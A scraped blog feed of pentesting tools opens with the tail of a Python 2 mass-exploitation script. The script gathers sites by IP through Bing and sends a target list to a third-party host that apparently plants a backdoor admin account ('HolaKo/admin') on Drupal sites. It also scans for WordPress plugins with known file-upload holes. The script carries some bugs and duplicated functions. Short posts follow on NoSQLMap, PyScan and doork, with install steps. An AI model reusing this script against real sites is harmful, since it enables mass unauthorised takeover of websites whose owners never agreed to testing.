                        read=resp.read()
                        if "User : HolaKo" in read:
                           print "Exploit found =>"+site

                           print "user:HolaKo\npass:admin"
                           a = open('up.txt','a')
                           a.write(site+'\n')
                           a.write("user:"+user+"\npass:"+pwd+"\n")
                        else :
                           print "[-] Expl Not Found :( "

        except Exception as ex :
                       print ex
                       sys.exit(0)


            #Drupal Server ExtraCtor
def getdrupal():
    ip  = raw_input('Enter The Ip : ')
    page  = 1
    sites = list()
    while page <= 50 :
      
      url   = "http://www.bing.com/search?q=ip%3A"+ip+"+node&go=Valider&qs=ds&form=QBRE&first="+str(page)
      req   = urllib2.Request(url)
      opreq = urllib2.urlopen(req).read()
      findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
      page += 1 
      
      for url in findurl :
                             split = urlparse(url)
                             site   = split.netloc
                             if site not in sites :
                                      print site 
                                      sites.append(site)
      

            #Drupal Mass List Exploiter 
def drupallist():
    listop = raw_input("Enter The list Txt :")
    fileopen = open(listop,'r')
    content = fileopen.readlines() 
    for i in content :
        url=i.strip()
        try :
            openurl = urllib2.urlopen('http://crig-alda.ro/wp-admin/css/index2.php?url='+url+'&submit=submit')
            readcontent = openurl.read()
            if  "Success" in readcontent :
                print "[+]Success =>"+url
                print "[-]username:HolaKo\n[-]password:admin"
                save = open('drupal.txt','a')
                save.write(url+"\n"+"[-]username:HolaKo\n[-]password:admin\n")
                               
            else : 
                print i + "=> exploit not found " 
        except Exception as ex :
            print ex
def maine():
    
     print minu
     choose = raw_input("choose a number :")
     while True : 
      
      if choose == "1": 
        drupal()
      if choose == "2":
        getdrupal()
      if choose == "3":
        drupallist()
      if choose == "4":
        about()
      if choose == "99":
           
            menu()
      con = raw_input('Continue [Y/n] -> ')
      if con[0].upper() == 'N' :
                                    exit()
      if con[0].upper() == 'Y' :
                                    maine()
def unique(seq):
    seen = set()
    return [seen.add(x) or x for x in seq if x not in seen]
def bing_all_grabber(s):
    lista = []
    page = 1
    while page <= 101:
        try:
            bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
            openbing = urllib2.urlopen(bing)
            readbing = openbing.read()
            findwebs = re.findall('<h2><a href="(.*?)"', readbing)
            for i in range(len(findwebs)):
                allnoclean = findwebs[i]
                findall1 = re.findall('http://(.*?)/', allnoclean)
                for idx, item in enumerate(findall1):
                    if 'www' not in item:
                        findall1[idx] = 'http://www.' + item + '/'
                    else:
                        findall1[idx] = 'http://' + item + '/'
                lista.extend(findall1)

            page += 50
        except urllib2.URLError:
            pass

    final = unique(lista)
    return final
def check_wordpress(sites) :
    wp = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'wp-login.php').getcode() == 200 :
                wp.append(site)
        except :
            pass

    return wp
def check_joomla(sites) :
    joomla = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'administrator').getcode() == 200 :
                joomla.append(site)
        except :
            pass

    return joomla
def wppjmla():
    
    ipp = raw_input('Enter Target IP: ')
    sites = bing_all_grabber(str(ipp))
    wordpress = check_wordpress(sites)
    joomla = check_joomla(sites)
    for ss in wordpress :
        print ss
    print '[+] Found ! ', len(wordpress), ' Wordpress Websites'
    print '-'*30+'\n'
    for ss in joomla :
        print ss


    print '[+] Found ! ', len(joomla), ' Joomla Websites'

    print '\n'
#initialise the tnscan function 
class tnn():
    def __init__(self):
        clearScr()
        aaa = raw_input("Target IP : ")
        TNscan(aaa)
############################
class bcolors:
    HEADER = ''
    OKBLUE = ''
    OKGREEN = ''
    WARNING = ''
    FAIL = ''
    ENDC = ''
    CYAN = ''
class colors():
    PURPLE = ''
    CYAN = ''
    DARKCYAN = ''
    BLUE = ''
    GREEN = ''
    YELLOW = ''
    RED = ''
    BOLD = ''
    ENDC = ''
def grabsqli(ip):
    try :
        print bcolors.OKBLUE  + "Check_Uplaod... "
        print '\n'

        page = 1
        while page <= 21:
                bing = "http://www.bing.com/search?q=ip%3A"+ip+"+upload&count=50&first="+str(page)
                openbing  = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"' , readbing)
                sites = findwebs
                for i in sites :
                            try :
                                      response = urllib2.urlopen(i).read()                                   
                                      checksqli(i)  
                            except urllib2.HTTPError, e:
                                       str(sites).strip(i)
                                   
                page = page + 10 
    except : 
         pass 
def checksqli(sqli):
                            responsetwo = urllib2.urlopen(sqli).read()
                            find = re.findall('type="file"',responsetwo)
                            if find:
                                            print(" Found ==> " + sqli)
def sqlscan():                                           
    ip = raw_input('Enter IP : ')
    grabsqli(ip)
# found this code on stackoverflow.com/questions/19278877
def unique(seq):
    seen = set()
    return [seen.add(x) or x for x in seq if x not in seen]
def bing_all_grabber(s):
    lista = []
    page = 1
    while page <= 101:
        try:
            bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
            openbing = urllib2.urlopen(bing)
            readbing = openbing.read()
            findwebs = re.findall('<h2><a href="(.*?)"', readbing)
            for i in range(len(findwebs)):
                allnoclean = findwebs[i]
                findall1 = re.findall('http://(.*?)/', allnoclean)
                for idx, item in enumerate(findall1):
                    if 'www' not in item:
                        findall1[idx] = 'http://www.' + item + '/'
                    else:
                        findall1[idx] = 'http://' + item + '/'
                lista.extend(findall1)

            page += 50
        except urllib2.URLError:
            pass

    final = unique(lista)
    return final
def check_wordpress(sites) :
    wp = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'wp-login.php').getcode() == 200 :
                wp.append(site)
        except :
            pass

    return wp
def check_wpstorethemeremotefileupload(sites) :
    wpstorethemeremotefileupload = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'wp-content/themes/WPStore/upload/index.php').getcode() == 200 :
                wpstorethemeremotefileupload.append(site)
        except :
            pass

    return wpstorethemeremotefileupload
def check_wpcontactcreativeform(sites) :
    wpcontactcreativeform = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'wp-content/plugins/sexy-contact-form/includes/fileupload/index.php').getcode() == 200 :
                wpcontactcreativeform.append(site)
        except :
            pass

    return wpcontactcreativeform
def check_wplazyseoplugin(sites) :
    wplazyseoplugin = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'wp-content/plugins/lazy-seo/lazyseo.php').getcode() == 200 :
                wplazyseoplugin.append(site)
        except :
            pass

    return wplazyseoplugin
def check_wpeasyupload(sites) :
    wpeasyupload = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'wp-content/plugins/easy-comment-uploads/upload-form.php').getcode() == 200 :
                wpeasyupload.append(site)
        except :
            pass

    return wpeasyupload
def check_wpsymposium(sites) :
    wpsymposium = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'wp-symposium/server/file_upload_form.php').getcode() == 200 :
                wpsycmium.append(site)
        except :
            pass

    return wpsymposium
def wpminiscanner():
    ip = raw_input('Enter IP : ')
    sites = bing_all_grabber(str(ip))
    wordpress = check_wordpress(sites)
    wpstorethemeremotefileupload = check_wpstorethemeremotefileupload(sites)
    wpcontactcreativeform = check_wpcontactcreativeform(sites)
    wplazyseoplugin = check_wplazyseoplugin(sites)
    wpeasyupload = check_wpeasyupload(sites)
    wpsymposium = check_wpsymposium(sites)
    for ss in wordpress :
        print ss
    print '[*] Found, ', len(wordpress), ' wordpress sites.'
    print '-'*30+'\n'
    for ss in wpstorethemeremotefileupload  :
        print ss
    print '[*] Found, ', len(wpstorethemeremotefileupload), ' wp_storethemeremotefileupload exploit.'
    print '-'*30+'\n'
    for ss in wpcontactcreativeform  :
        print ss
    print '[*] Found, ', len(wpcontactcreativeform), ' wp_contactcreativeform exploit.'
    print '-'*30+'\n'
    for ss in wplazyseoplugin  :
        print ss
    print '[*] Found, ', len(wplazyseoplugin), ' wp_lazyseoplugin exploit.'
    print '-'*30+'\n'
    for ss in wpeasyupload  :
        print ss
    print '[*] Found, ', len(wpeasyupload), ' wp_easyupload exploit.'
    print '-'*30+'\n'
    for ss in wpsymposium :
        print ss


    print '[*] Found, ', len(wpsymposium), ' wp_sympsiup exploit.'

    print '\n'
############################
#begin :D 
if __name__ == "__main__":
  menu()

Source: https://github.com/x3omdax | Our Post Before

↧

Updates NoSQLMap – Automated Mongo database and NoSQL web application exploitation tool.

January 11, 2016, 9:13 pm

≫ Next: PyScan-Scanner ~ Vulnerability scanner with custom payload.

≪ Previous: PenBox v1.2 ~ Pentesting tools auto downloader Script.

Latest Change 11/1/2016:
+ nosqlmap.py : Added web connectivity debugging output & Fixed crash setting options.

NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases as well as web applications using NoSQL in order to disclose data from the database.
It is named as a tribute to Bernardo Damele and Miroslav’s Stampar’s popular SQL injection tool sqlmap, and its concepts are based on and extensions of Ming Chow’s excellent presentation at Defcon 21, “Abusing NoSQL Databases”. Presently the tool’s exploits are focused around MongoDB, but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases.

NoSQLMap-v0-5

Requirements
On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap’s dependencies.
Varies based on features used:
+ Metasploit Framework
+ MongoDB
+ Python with PyMongo
+ httplib2
+ and urllib available.

Features:
– Automated MongoDB and CouchDB database enumeration and cloning attacks.
– Extraction of database names, users, and password hashes through MongoDB web applications.
– Scanning subnets or IP lists for MongoDB and CouchDB databases with default access and enumerating versions.
– Dictionary and brute force password cracking of recovered MongoDB and CouchDB hashes.
– PHP application parameter injection attacks against MongoClient to return all database records.
– Javascript function variable escaping and arbitrary code injection to return all database records.
– Timing based attacks similar to blind SQL injection to validate Javascript injection vulnerabilities with no feedback from the application.

Installation using git:

git clone https://github.com/tcstool/NoSQLMap && cd NoSQLMap
python setup.py

Debian/Ubuntu/Kali:
Makesure all dependency has been install like Metasploit Framework & MongoDB.
apt-get install mongodb (make sure you have privileges access/root user)
sudo apt-get install python-pbkdf2 (don't use pip, error because letter & upper case PBKDF2)
sudo apt-get install python-httplib2
sudo apt-get install python-ipcalc
sudo apt-get install python-couchdb
sudo apt-get install python-pymongo
then run
./nosqlmap.py

Update
cd NoSQLMap
git pull

Source : http://www.nosqlmap.net | Our post Before

↧

PyScan-Scanner ~ Vulnerability scanner with custom payload.

January 12, 2016, 10:44 am

≫ Next: doork is an open-source passive vulnerability auditor tool.

≪ Previous: Updates NoSQLMap – Automated Mongo database and NoSQL web application exploitation tool.

PyScan is a simple web vulnerability scanner you can start scan with python script :
– python PyScan.py -u “http://site.com” –all (All payload scan)
– python PyScan.py -u “http://site.com/index.php?id=1” -s -p [ID PAYLOAD] (Single scan with payload ID)
– python PyScan.py –database ( Scan all link on database )

Pyscan

requirements:
+ xampp, lamp etc…
+ mysql
+ urllib2
+ BeautifulSoup
+ requests

Installation:

download PyScan-Scanner-master.zip
unzip it
copy into htdocs (xampp/lampp folder)
import database


TODO:
Change database information
$bdd = new PDO('mysql:host=localhost;dbname=pyscan', 'user', 'password');

Update a Python gate
panel_url = "http://localhost/pyscan/"
gate_scraper = "cmd/gate.php"
gate_scanner = "cmd/scan.php"
gate_vuln = "cmd/vuln.php"
gate_payload = "panel/api/payload.php"
gate_database = "panel/api/database.php"

Username: root
password: toor

Download : PyScan-Scanner-master.zip
Source : https://github.com/graniet

↧

doork is an open-source passive vulnerability auditor tool.

January 13, 2016, 3:22 pm

≫ Next: IIS Short Name Scanner v2.3.4

≪ Previous: PyScan-Scanner ~ Vulnerability scanner with custom payload.

doork is a open-source passive vulnerability auditor tool that automates the process of searching on Google information about specific website based on dorks. doork can update his own database from ghdb and use it for find flaws without even contact the target endpoint. You can provide your custom wordlist and save the output anywhere.

latest version doork v2

requirement:
– Python 2.6 & 2.7
– All OS Support

Usage:

git clone https://github.com/AeonDave/doork doork
pip install beautifulsoup4
pip install requests

python doork.py -h

Update:
cd doork
git pull

Source: https://github.com/AeonDave

↧